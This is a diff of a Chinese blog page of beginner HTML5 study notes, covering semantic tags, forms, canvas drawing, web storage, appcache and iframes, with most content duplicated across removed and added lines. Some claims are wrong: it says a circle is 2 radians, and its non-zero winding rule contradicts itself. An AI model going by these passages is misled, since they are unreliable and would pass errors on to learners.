href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>html5学习笔记</h1><div class=post-meta><span title='2021-06-16 09:22:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;3 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/html5%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>HTML5是HTML标准的第5代标准，主要目的是语义化并且提供多媒体的嵌入</p><hr><p>HTML是什么？HTML全称为HyperTextMarkupLanguage，中文叫超文本标记语言，简称HTML</p><p>而HTML5是一个标准，指的是第五代HTML标准</p><p>HTML5主要的新特性：</p><p>语义特性，本地存储特性，设备兼容特性，连接特性，网页多媒体特性，性能与集成特性，CSS3特性</p><p>HTML的块级与行级</p><p>块级元素的特征：</p><p>独占一行，不和其他元素待在同一行上，能设置宽和高</p><p>默认宽度是该元素的容器的100%，不过可以设置宽度</p><p>常用的块级元素有div，ul，li，dl，dt，h1-h6</p><p>行级元素的特征：</p><p>可以和其他元素待在同一行上，不能设置宽和高</p><p>它的宽度就是它的文字或者图片的宽度</p><p>常用的行级元素有a，span</p><p>行内块级元素的特征：</p><p>可以设置宽和高，可以一行多个</p><p>常见的行内块级元素有input，img</p><p>转换元素为块级或者行内</p><p>display：block //定义元素为块级元素</p><p>display: inline //定义元素为行内元素</p><p>display：inline-block //定义元素为行内块级元素。</p><p>这三个的区别只有三个，排列分式，设置宽高，默认宽度</p><p>html语义</p><p>语义化：使得页面可以很好的向浏览器和开发者描述其意义</p><p>语义化的好处：</p><p>方便开发团队的前期开发和后期维护，不只是作用于自己的开发团队，也方便其他国家的开发者能理解网页的结构；</p><p>在css文件丢失的情况下，也能表示出好的内容结构和代码结构，方便用户阅读；</p><p>方便辅助技术能更好的阅读或者转译网页，方便有障碍人士阅读；</p><p>良好的结构和语义，可以提高搜索引擎爬虫的有效爬取；</p><p>重点：用正确的标签做正确的事！！！</p><p>要注意可以改变样式的标签不一定是有居于语义的</p><p>在没有出现语义元素前，几乎都是使用div或者span，加类加id</p><p>没有语义的元素最适合当容器使用了</p><pre><code>常用的非语义元素有&lt;div&gt;和&lt;span&gt;
+
+常用的语义元素有&lt;header&gt;和&lt;footer&gt;
+
+
+&lt;header&gt;：页眉，一般包括网站logo，主导航，搜索框等；
+
+&lt;nav&gt;：导航，链接；
+
+&lt;main&gt;：定义文章的主要内容，一个页面只能使用一次；
+
+&lt;article&gt;：定义一份独立的内容，脱离其他内容或者其他部分，独立于文档的其余部分；
+
+&lt;section&gt;：定义内容的节（段）；
+
+&lt;footer&gt;：页脚，一般包含版权信息或者链接等；
+
+&lt;aside&gt;：侧边栏，一般作为附属信息，例如导航索引，广告等；
+</code></pre><p>meta viewport</p><p>viewport 是指 web 页面上的可见区域</p><pre><code>&lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;
+</code></pre><p>device-width指设备的理想宽度,不同的设备 device-width 是不一样的</p><p>nitial-scale=1.0 是指默认缩放大小是1，也就是默认不缩放</p><p>maximum-scale=1.0 是指最大缩放大小是1</p><hr><p>标签使用&lt;和>括起来，例如&lt;div></p><p>html标签大多都是成对出现的，分开始标签和结束标签，结束标签比开始标签多了个/</p><p>例如：</p><p>html不区分大小写。所以&lt;DIV>和&lt;div>作用一样。建议使用小写</p><pre><code>&lt;!DOCTYPE html&gt;声明这是一个html5文件，声明位于&lt;html&gt;前面
+&lt;html&gt; 标识HTML文档的开始
+&lt;head&gt;表明一些和html文档有关的信息，例如title
+&lt;body&gt;html文档的主体
+
+&lt;!--这是一个注释--&gt;
+</code></pre><p>段落</p><pre><code>&lt;span&gt;&lt;span&gt;
+&lt;h1&gt;~&lt;h6&gt;
+&lt;div&gt;&lt;/div
+
+
+定义头部区域&lt;header&gt;
+
+定义底部区域&lt;footer&gt;
+
+定义区段&lt;section&gt;
+
+定义侧边栏区域&lt;aside&gt;
+
+换行&lt;br&gt;
+
+文本输入框 &lt;input&gt;
+</code></pre><p>select+option 选择列表</p><hr><p>多媒体元素（video和audio）</p><p>例如：</p><pre><code>&lt;video src=&quot;hallo.mp4&quot; controls autoplay=&quot;autoplay&quot; loop&gt;&lt;/video&gt;
+
+&lt;audio src=&quot;hallo.mp3&quot; controls autoplay=&quot;autoplay&quot; loop&gt;&lt;/audio&gt;
+</code></pre><p>controls属性是显示控制栏，autoplay属性是自动播放，loop属性是循环播放</p><p>注意：video元素支持的视频格式有mp4，ogg，webm，不过每个格式在不同浏览器内核兼容性不一样</p><p>source标签就完美解决这个问题，例如：</p><pre><code>&lt;video&gt;
+    &lt;source src=&quot;hallo.mp4&quot;&gt;
+    &lt;source src=&quot;hallo.ogg&quot;&gt;
+    &lt;source src=&quot;hallo.WebM&quot;&gt;
+&lt;/video&gt;
+</code></pre><p>播放顺序是如果第一个支持就是只播放第一个，如果第一个不支持，第二个支持，就播放第二个</p><p>表单控件可以控制输入内容必须为指定合法的数据，例如：</p><pre><code>&lt;form&gt;	
+    邮箱地址：
+    &lt;input type=&quot;email&quot;&gt;
+&lt;/form&gt;
+</code></pre><p>type新的属性值有：</p><p>email：邮箱地址</p><p>url：网址</p><p>number：数字</p><p>color：拾色器</p><p>time：时，分</p><p>week：周</p><p>month：月</p><p>date：年，月，日</p><p>datetime-local：年，月，日，时，分，秒</p><p>range：滑块</p><p>form的一些属性</p><p>autocomplete：该属性可以实现自动输入功能，浏览器基于之前输入并且提交过的值，属性值有on和off</p><p>novalidate：该属性是是否关闭校验，搭配表单控件食用更佳</p><p>input的一些属性</p><p>autofocus：自动获取焦点</p><p>placeholder：提示信息（占位符）</p><p>required：必填项</p><p>list：带本地数据缓存列表的自动输入，例如</p><pre><code>&lt;form&gt;
+    &lt;input type=&quot;url&quot; list=&quot;url_list&quot; name=&quot;link&quot;/&gt;
+    &lt;datalist id=&quot;url_list&quot;&gt;
+        &lt;option label=&quot;blog&quot; value=&quot;https://xiaochenabc123.test.com&quot; /&gt;
+        &lt;option label=&quot;baidu&quot; value=&quot;https://www.baidu.com&quot; /&gt;
+        &lt;option label=&quot;github&quot; value=&quot;https://www.github.com&quot; /&gt;
+    &lt;/datalist&gt;
+    &lt;input type=&quot;submit&quot; /&gt;
+&lt;/form&gt;
+</code></pre><p>multiple：多选项</p><p>如果一个表单不被form元素包含，但是又想提交过去，那么可以指定该input元素的form属性值为form元素的id</p><p>canvas元素用于图形的绘制，该元素只是一个容器，还需要js来绘制，例如：</p><pre><code>&lt;canvas width=&quot;300px&quot; height=&quot;300px&quot;&gt;&lt;/canvas&gt;
+&lt;style&gt;
+    canvas{
+        border: 1px solid #000;
+    }
+&lt;/style&gt;
+
+&lt;script&gt;
+    //获取dom对象
+    var canvas =document.querySelector(&quot;canvas&quot;);
+    //获取绘图上下文
+    var ctx=canvas.getContext(&quot;2d&quot;);
+    ctx.fillStyle=&quot;#000&quot;;
+    ctx.fillRect(0,0,100,100);
+    // Canvas坐标是二维的，代表左上角的坐标为0,0
+&lt;/script&gt;
+</code></pre><p>canvas画线，提供了两个方法moveTo()和lineTo()，例如:</p><pre><code>var canvas =document.querySelector(&quot;canvas&quot;);
+var ctx=canvas.getContext(&quot;2d&quot;);
+ctx.moveTo(100, 100); // 线条开始坐标
+ctx.lineTo(200, 100); // 线条结束坐标
+ctx.stroke(); // 绘制
+</code></pre><p>画圆圈：</p><pre><code>var canvas =document.querySelector(&quot;canvas&quot;);
+var ctx=canvas.getContext(&quot;2d&quot;);
+ctx.beginPath();
+ctx.arc(100,100,80,0,2*Math.PI,false);  // 圆心的坐标（x，y），半径，开始弧度，结束弧度，方向(默认为false顺时针,true代表逆时针)
+ctx.stroke();
+</code></pre><p>以圆心为中心向右（3点方向）为0度角，顺时针为正，逆时针为负</p><p>1角度=π/180度，1弧度=180度/π,一个圆有360度，也就是说一个圆是2弧度</p><p>30度=π/6,60度=π/3,90度=π/2,180度=π,360度=2π，依此类推</p><p>x坐标 = 圆心的横坐标+圆的半径*cos(弧度)</p><p>y坐标 = 圆心的纵坐标+圆的半径*sin(弧度)</p><p>画三角形</p><pre><code> var canvas =document.querySelector(&quot;canvas&quot;);
+ var ctx=canvas.getContext(&quot;2d&quot;);
+ ctx.moveTo(10, 10);
+ ctx.lineTo(10, 100);
+ ctx.lineTo(70, 100);
+ ctx.closePath(); // 闭合
+ ctx.stroke();
+ ctx.fillStyle=&quot;#ccc&quot;; // 填充颜色
+ ctx.fill();
+</code></pre><p>平移(坐标系圆点的平移)</p><p>translate(x,y)</p><p>注意：translate不能只设置一个值(除非使用translateX或者translateY进行单独设置值)，和moveTo()的区别就是moveTo是修改开始绘制的位置，圆点位置没有改变，而translate是改变圆点位置，例如：</p><pre><code>var canvas =document.querySelector(&quot;canvas&quot;);
+var ctx=canvas.getContext(&quot;2d&quot;);
+ctx.translate(100,100);
+ctx.fillStyle=&quot;gray&quot;;
+ctx.fillRect(50,50,100,50);
+</code></pre><p>旋转</p><pre><code>var canvas =document.querySelector(&quot;canvas&quot;);
+var ctx=canvas.getContext(&quot;2d&quot;);
+ctx.translate(100, 100);
+ctx.rotate(Math.PI/6);
+ctx.moveTo(0, 0);
+ctx.lineTo(200, 0);
+ctx.lineTo(0, 100);
+ctx.stroke();
+</code></pre><p>缩放</p><pre><code>var canvas =document.querySelector(&quot;canvas&quot;);
+var ctx=canvas.getContext(&quot;2d&quot;);
+ctx.translate(300,200);
+ctx.scale(0.3, 0.5); // x轴和y轴缩放倍数，例如0.3，0.5
+ctx.arc(10,10,200,0,2*Math.PI);
+ctx.stroke();
+</code></pre><p>线与线之间链接的方式，主要用到lineJoin属性，属性值有miter（尖角，默认），bevel（斜角），round（圆角），例如：</p><pre><code>var canvas =document.querySelector(&quot;canvas&quot;);
+var ctx=canvas.getContext(&quot;2d&quot;);
+ctx.lineWidth=10; // 线的宽度
+ctx.lineJoin=&quot;bevel&quot;; // 线与线的链接方式
+ctx.moveTo(80, 80); // 线条开始坐标
+ctx.lineTo(200, 130); // 线条结束坐标
+ctx.lineTo(150, 30);
+ctx.stroke(); // 绘制
+</code></pre><p>线帽</p><p>主要实现方式就是使用lineCap()属性，例如：</p><pre><code>var canvas =document.querySelector(&quot;canvas&quot;);
+var ctx=canvas.getContext(&quot;2d&quot;);
+ctx.lineWidth=10;
+ctx.lineCap=&quot;round&quot;;
+ctx.moveTo(50,50);
+ctx.lineTo(200,50);
+ctx.stroke();
+</code></pre><p>该属性有三个值，分别是butt（默认），round（圆形线帽），square（正方形线帽）</p><p>butt和square的区别就是，square（round也是）会导致线条变长一点</p><p>ctx.beginPath(); // 设置新的画布</p><p>非零环绕</p><p>如果想画一个不规则的图形，然后填充颜色，那么怎么知道那里该填色那里不填色呢，那么就是需要用到一个叫非零环绕的数学方法，实现原理很简单，描绘路径一笔完成就可以了，例如：</p><pre><code>var canvas =document.querySelector(&quot;canvas&quot;);
+var ctx=canvas.getContext(&quot;2d&quot;);
+ctx.arc(120,120,80,0,2*Math.PI,false); // .arc()方法中最后一个参数是设置路径方向的
+ctx.arc(120,120,100,0,2*Math.PI,true);
+ctx.stroke();
+ctx.fillStyle=&quot;#ccc&quot;; // 填充颜色
+ctx.fill();
+</code></pre><p>非零环绕：</p><p>以点为圆心,绘制一条射线,以射线为半径顺时针旋转,相交的边同向记为+1,反方向记为-1,如果相加的区域等于0,则不填充,非零区域填充</p><p>例如：假设一个点，以这个点绘制一条射线，如果这个射线和这个点的一条路径正方向相交，则为+1，或者再有一个点，如果这个点和这个点的一条路径正方向，但是又有一条路径是反方向相交的，那么就是+1-1，那么就是0，只要结果不是0，那么射线所在的区域就是在外面，不填充</p><p>线性渐变</p><pre><code>var canvas =document.querySelector(&quot;canvas&quot;);
+var ctx=canvas.getContext(&quot;2d&quot;);
+var clg=ctx.createLinearGradient(0,0,200,0);
+clg.addColorStop(0,&quot;red&quot;);
+clg.addColorStop(1,&quot;black&quot;);
+ctx.lineWidth=&quot;50&quot;;
+ctx.strokeStyle=clg;
+ctx.moveTo(100, 100); 
+ctx.lineTo(200, 100); 
+ctx.stroke(); 
 </code></pre><p>createLinearGradient()有4个参数，分别代表渐变开始的xy坐标，渐变结束的xy坐标</p><p>addColorStop()方法，第一个参数是设置开始和结束或者中间的周期，第二个参数是颜色</p><p>0代表开始，1表示结束，中间颜色可以使用小数来设置</p><p>径向渐变
 var canvas =document.querySelector(&ldquo;canvas&rdquo;);
 var ctx=canvas.getContext(&ldquo;2d&rdquo;);
@@ -283,80 +283,80 @@
 ctx.lineTo(100, 300);
 ctx.lineTo(50, 50);
 ctx.closePath();
-ctx.fill();</p><p>createRadialGradient()中有6个参数，分别代表径向渐变开始的xy坐标，渐变开始的半径，向渐变结束的xy坐标，渐变结束的半径</p><p>虚线就是实线和空白区域之间的空白距离</p><p>setLineDash()，参数是一个数组，如果数组中有两个值，那么就是分别代表实线长度，空白长度，如果是三个值，那么就是分别代表实线，空白，实线&mldr;</p><p>例如：</p><pre><code>var canvas =document.querySelector(&quot;canvas&quot;);
-var ctx=canvas.getContext(&quot;2d&quot;);
-ctx.moveTo(100, 100);
-ctx.lineTo(300, 150);
-ctx.setLineDash([10,3,15]);
-ctx.stroke();
-</code></pre><p>绘制动画</p><p>动画确实就是绘制一个图形，清除这个图形，然后在另一个地方绘制图形，达到这个图形好像在动的错觉</p><p>清除图形用到clearRect()，例如：</p><pre><code>var canvas =document.querySelector(&quot;canvas&quot;);
-var ctx=canvas.getContext(&quot;2d&quot;);
-var x=0; // 初始位置
-var abc=10; // 每次移动多少像素
-var i=1; // 改变方向，做到一来一回的效果
-setInterval(function(){
-	// 定时器
-	ctx.clearRect(0, 0, canvas.width, canvas.height); // 清除
-	ctx.fillRect(x, 120, 120, 180); // 绘制新的图形
-	x+=abc*i; // 处理，实质上x是移动的位置变化，x=x+abc*i
-	if(x&gt;canvas.width-120){
-		i=-1;
-	}else if(x&lt;0){
-		i=1;
-    // i的值为1时为正方向移动，为-1时为反方向移动，将值做成互为相反数来达到效果
-	}
-},30);
-</code></pre><p>绘制文本</p><p>绘制文本有两个方法，fillText()实体文字，strokeText()镂空文字，例如：</p><pre><code>var canvas =document.querySelector(&quot;canvas&quot;);
-var ctx=canvas.getContext(&quot;2d&quot;);
-ctx.textAlign=&quot;center&quot;; // 文本水平对齐方式,left,right,center
-ctx.font=&quot;30px 宋体&quot;; // 文本大小与字体
-ctx.textBaseline=&quot;middle&quot;; 
-// 文字垂直对齐方式,alphabetic(默认),top,middle,bottom,hanging,ideographic
-
-ctx.shadowColor=&quot;gray&quot;; // 文本阴影颜色
-ctx.shadowOffsetX=3; // 文字阴影的水平偏移量
-ctx.shadowOffsetY=3; // 文字阴影的垂直偏移量
-ctx.shadowBlur=6; // 设置文字阴影的模糊度
-ctx.strokeText(&quot;hallo word&quot;, 200, 200); // 文本内容，x，y
-ctx.fillText(&quot;hallo word&quot;, 200, 200);
-</code></pre><p>绘制图片</p><p>例如：</p><pre><code>var canvas =document.querySelector(&quot;canvas&quot;);
-var ctx=canvas.getContext(&quot;2d&quot;);
-var img=document.createElement(&quot;img&quot;); // 创建一个img
-img.src=&quot;hallo.jpg&quot;;  // 图片位置
-img.onload=function(){
-    ctx.drawImage(img,100,100); // 图片对象，x，y
-}
-</code></pre><p>图片设置宽度高度</p><pre><code>ctx.drawImage(img,100,100,200,200);  // 图片对象，x，y，宽度，高度
-</code></pre><p>将图片绘制到矩形区域内的指定位置</p><pre><code>ctx.drawImage(img,100,100,200,200,0,0,300,300);  // 图片对象，图片绘制到矩形的位置xy，图片的高度和宽度，图片矩形的位置，图片矩形的高度和宽度
-</code></pre><p>解决图片比例不正常：</p><p>要满足：绘制的图片宽度：绘制的图片高度等于原始图片宽度：原始高度</p><p>那么就是说绘制的图片宽度等于绘制的图片高度乘以原始图片宽度除以原始高度，依此类推，保证绘制的图片宽高比例和原来图片的比例宽高一致</p><hr><p>iframe框架</p><p>用于在网页中显示网页</p><pre><code>&lt;iframe src=&quot;https://xiaochenabc123.test.com&quot;&gt;&lt;/iframe&gt;
-</code></pre><p>可以设置高度和宽度</p><p>frameborder=&ldquo;0&rdquo; // 可以移除边框</p><p>可以设置target属性来做目标</p><p>target属性：浏览器会在指定文件中寻找对应的name，并且寻找到对应name的href属性</p><pre><code>&lt;iframe src=&quot;index.html&quot; name=&quot;iframe_a&quot;&gt;&lt;/iframe&gt;
-&lt;a href=&quot;https://xiaochenabc123.test.com&quot; target=&quot;iframe_a&quot;&gt;hallo&lt;/a&gt;
-</code></pre><hr><p>defer属性规定了执行延迟，当页面加载完毕就执行，不用再担心DOM元素获取不了，例如：</p><pre><code>&lt;script type=&quot;text/javascript&quot; defer=&quot;defer&quot;&gt;
-    console.log(&quot;hallo word&quot;)
-&lt;/script&gt;
-</code></pre><p>无论这句话防止哪里，都会等到页面加载完毕（dom渲染完毕后）才会执行</p><hr><p>本地存储</p><p>localStorage是用键值对来进行本地存储，localStorage方法是window方法下的</p><p>存储</p><p>localStorage.setItem(&ldquo;root&rdquo;,&ldquo;123&rdquo;)</p><p>读取</p><p>let abc = localStorage.getItem(&ldquo;root&rdquo;)</p><p>删除</p><p>localStorage.removeItem(&ldquo;root&rdquo;)</p><p>例如:</p><pre><code>function onAdd(){
-    if (localStorage.clickcount) {
-        localStorage.clickcount = Number(localStorage.clickcount) + 1
-    } else {
-        localStorage.clickcount = 1
-    }
-    document.getElementById(&quot;root&quot;).innerHTML = &quot;当前点击数：&quot; + localStorage.clickcount + &quot;次&quot;
-}
-...
-&lt;button onclick=&quot;onAdd()&quot; type=&quot;button&quot;&gt;点击&lt;/button&gt;
-&lt;div id=&quot;root&quot;&gt;&lt;/div&gt;
+ctx.fill();</p><p>createRadialGradient()中有6个参数，分别代表径向渐变开始的xy坐标，渐变开始的半径，向渐变结束的xy坐标，渐变结束的半径</p><p>虚线就是实线和空白区域之间的空白距离</p><p>setLineDash()，参数是一个数组，如果数组中有两个值，那么就是分别代表实线长度，空白长度，如果是三个值，那么就是分别代表实线，空白，实线&mldr;</p><p>例如：</p><pre><code>var canvas =document.querySelector(&quot;canvas&quot;);
+var ctx=canvas.getContext(&quot;2d&quot;);
+ctx.moveTo(100, 100);
+ctx.lineTo(300, 150);
+ctx.setLineDash([10,3,15]);
+ctx.stroke();
+</code></pre><p>绘制动画</p><p>动画确实就是绘制一个图形，清除这个图形，然后在另一个地方绘制图形，达到这个图形好像在动的错觉</p><p>清除图形用到clearRect()，例如：</p><pre><code>var canvas =document.querySelector(&quot;canvas&quot;);
+var ctx=canvas.getContext(&quot;2d&quot;);
+var x=0; // 初始位置
+var abc=10; // 每次移动多少像素
+var i=1; // 改变方向，做到一来一回的效果
+setInterval(function(){
+	// 定时器
+	ctx.clearRect(0, 0, canvas.width, canvas.height); // 清除
+	ctx.fillRect(x, 120, 120, 180); // 绘制新的图形
+	x+=abc*i; // 处理，实质上x是移动的位置变化，x=x+abc*i
+	if(x&gt;canvas.width-120){
+		i=-1;
+	}else if(x&lt;0){
+		i=1;
+    // i的值为1时为正方向移动，为-1时为反方向移动，将值做成互为相反数来达到效果
+	}
+},30);
+</code></pre><p>绘制文本</p><p>绘制文本有两个方法，fillText()实体文字，strokeText()镂空文字，例如：</p><pre><code>var canvas =document.querySelector(&quot;canvas&quot;);
+var ctx=canvas.getContext(&quot;2d&quot;);
+ctx.textAlign=&quot;center&quot;; // 文本水平对齐方式,left,right,center
+ctx.font=&quot;30px 宋体&quot;; // 文本大小与字体
+ctx.textBaseline=&quot;middle&quot;; 
+// 文字垂直对齐方式,alphabetic(默认),top,middle,bottom,hanging,ideographic
+
+ctx.shadowColor=&quot;gray&quot;; // 文本阴影颜色
+ctx.shadowOffsetX=3; // 文字阴影的水平偏移量
+ctx.shadowOffsetY=3; // 文字阴影的垂直偏移量
+ctx.shadowBlur=6; // 设置文字阴影的模糊度
+ctx.strokeText(&quot;hallo word&quot;, 200, 200); // 文本内容，x，y
+ctx.fillText(&quot;hallo word&quot;, 200, 200);
+</code></pre><p>绘制图片</p><p>例如：</p><pre><code>var canvas =document.querySelector(&quot;canvas&quot;);
+var ctx=canvas.getContext(&quot;2d&quot;);
+var img=document.createElement(&quot;img&quot;); // 创建一个img
+img.src=&quot;hallo.jpg&quot;;  // 图片位置
+img.onload=function(){
+    ctx.drawImage(img,100,100); // 图片对象，x，y
+}
+</code></pre><p>图片设置宽度高度</p><pre><code>ctx.drawImage(img,100,100,200,200);  // 图片对象，x，y，宽度，高度
+</code></pre><p>将图片绘制到矩形区域内的指定位置</p><pre><code>ctx.drawImage(img,100,100,200,200,0,0,300,300);  // 图片对象，图片绘制到矩形的位置xy，图片的高度和宽度，图片矩形的位置，图片矩形的高度和宽度
+</code></pre><p>解决图片比例不正常：</p><p>要满足：绘制的图片宽度：绘制的图片高度等于原始图片宽度：原始高度</p><p>那么就是说绘制的图片宽度等于绘制的图片高度乘以原始图片宽度除以原始高度，依此类推，保证绘制的图片宽高比例和原来图片的比例宽高一致</p><hr><p>iframe框架</p><p>用于在网页中显示网页</p><pre><code>&lt;iframe src=&quot;https://xiaochenabc123.test.com&quot;&gt;&lt;/iframe&gt;
+</code></pre><p>可以设置高度和宽度</p><p>frameborder=&ldquo;0&rdquo; // 可以移除边框</p><p>可以设置target属性来做目标</p><p>target属性：浏览器会在指定文件中寻找对应的name，并且寻找到对应name的href属性</p><pre><code>&lt;iframe src=&quot;index.html&quot; name=&quot;iframe_a&quot;&gt;&lt;/iframe&gt;
+&lt;a href=&quot;https://xiaochenabc123.test.com&quot; target=&quot;iframe_a&quot;&gt;hallo&lt;/a&gt;
+</code></pre><hr><p>defer属性规定了执行延迟，当页面加载完毕就执行，不用再担心DOM元素获取不了，例如：</p><pre><code>&lt;script type=&quot;text/javascript&quot; defer=&quot;defer&quot;&gt;
+    console.log(&quot;hallo word&quot;)
+&lt;/script&gt;
+</code></pre><p>无论这句话防止哪里，都会等到页面加载完毕（dom渲染完毕后）才会执行</p><hr><p>本地存储</p><p>localStorage是用键值对来进行本地存储，localStorage方法是window方法下的</p><p>存储</p><p>localStorage.setItem(&ldquo;root&rdquo;,&ldquo;123&rdquo;)</p><p>读取</p><p>let abc = localStorage.getItem(&ldquo;root&rdquo;)</p><p>删除</p><p>localStorage.removeItem(&ldquo;root&rdquo;)</p><p>例如:</p><pre><code>function onAdd(){
+    if (localStorage.clickcount) {
+        localStorage.clickcount = Number(localStorage.clickcount) + 1
+    } else {
+        localStorage.clickcount = 1
+    }
+    document.getElementById(&quot;root&quot;).innerHTML = &quot;当前点击数：&quot; + localStorage.clickcount + &quot;次&quot;
+}
+...
+&lt;button onclick=&quot;onAdd()&quot; type=&quot;button&quot;&gt;点击&lt;/button&gt;
+&lt;div id=&quot;root&quot;&gt;&lt;/div&gt;
 </code></pre><p>注意：localStorage会永久存储，一直到手动删除，如果想保存在当前会话的话使用sessionStorage更好，该会在关闭页面的时候同时也销毁这些数据</p><p>sessionStorage也是window方法下的</p><p>存储</p><p>sessionStorage.setItem(&ldquo;root&rdquo;, &ldquo;123&rdquo;)</p><p>读取</p><p>let abc = sessionStorage.getItem(&ldquo;root&rdquo;)</p><p>删除</p><p>sessionStorage.removeItem(&ldquo;root&rdquo;)</p><p>删除全部数据</p><p>sessionStorage.clear()</p><hr><p>Cache Manifest是HTML5的一种缓存机制，用来缓存应用，让其在无网络的情况下还能访问</p><p>启动Cache Manifest也很简单，直接在html元素上使用manifest属性，属性值是manifest文件</p><p>W3C建议文件扩展名为.appcache</p><p>manifest文件格式</p><p>CACHE MANIFEST
 /main.js
 /logo.jpg
 NETWORK:
 test.html
 FALLBACK:
-/archives /404.html</p><p>上面表示/main.js和/logo.jpg将被缓存，哪怕断开连接，都是可用的，test.html不被缓存，如果不能连接网络，archives目录将被404.html覆盖</p><p>注意：应用被缓存，那么就会被一直缓存下去，一直到清空缓存，manifest文件被修改才会重新从互联网上获取最新的数据</p><p>离线存储是通过manifest文件来管理的，还需要服务器端的支持，因为这里是nginx服务器，因此修改mime.types文件，添加manifest文件映射</p><p>添加</p><pre><code>text/cache-manifest                              appcache;
-</code></pre><p>然后重启nginx服务器</p><p>例如：</p><pre><code>&lt;html manifest=&quot;demo.appcache&quot;&gt;
-    &lt;body&gt;离线缓存&lt;/body&gt;
-&lt;/html&gt;
-</code></pre><hr><p>DOCTYPE是声明浏览器应该使用哪种规范解析，因为HTML5不是基于SGML（标准通用标记语言），所以不需要DTD，而HTML4.01是基于SGML，所以才需要引用DTD，XHTML是严格版本的HTML，必须正确嵌套，闭合，以及区分大小写</p><p>DTD(Document Type Definition, 文档类型定义)是一套用来定义html或者xhtml，以及xml的文件类型的语法语法规则，浏览器根据dtd来判断文件类型，使用哪种模式来说解析</p><hr><p>iframe</p><p>iframe会堵塞页面的加载事件（onload）(只有当全部iframe标签都加载完毕才会触发该事件)，还存在连接池问题（部分老版本浏览器限制同一个域名多开连接，页面和iframe共享连接池），而且搜索引擎无法爬取该页面，如果需要使用，请尽量保证iframe存在src属性</p><hr></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/html/>html</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/13/><span class=title>« Prev</span><br><span>jQuery-ajax()方法笔记</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/11/><span class=title>Next »</span><br><span>css3学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+/archives /404.html</p><p>上面表示/main.js和/logo.jpg将被缓存，哪怕断开连接，都是可用的，test.html不被缓存，如果不能连接网络，archives目录将被404.html覆盖</p><p>注意：应用被缓存，那么就会被一直缓存下去，一直到清空缓存，manifest文件被修改才会重新从互联网上获取最新的数据</p><p>离线存储是通过manifest文件来管理的，还需要服务器端的支持，因为这里是nginx服务器，因此修改mime.types文件，添加manifest文件映射</p><p>添加</p><pre><code>text/cache-manifest                              appcache;
+</code></pre><p>然后重启nginx服务器</p><p>例如：</p><pre><code>&lt;html manifest=&quot;demo.appcache&quot;&gt;
+    &lt;body&gt;离线缓存&lt;/body&gt;
+&lt;/html&gt;
+</code></pre><hr><p>DOCTYPE是声明浏览器应该使用哪种规范解析，因为HTML5不是基于SGML（标准通用标记语言），所以不需要DTD，而HTML4.01是基于SGML，所以才需要引用DTD，XHTML是严格版本的HTML，必须正确嵌套，闭合，以及区分大小写</p><p>DTD(Document Type Definition, 文档类型定义)是一套用来定义html或者xhtml，以及xml的文件类型的语法语法规则，浏览器根据dtd来判断文件类型，使用哪种模式来说解析</p><hr><p>iframe</p><p>iframe会堵塞页面的加载事件（onload）(只有当全部iframe标签都加载完毕才会触发该事件)，还存在连接池问题（部分老版本浏览器限制同一个域名多开连接，页面和iframe共享连接池），而且搜索引擎无法爬取该页面，如果需要使用，请尽量保证iframe存在src属性</p><hr></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/html/>html</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/13/><span class=title>« Prev</span><br><span>jQuery-ajax()方法笔记</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/11/><span class=title>Next »</span><br><span>css3学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
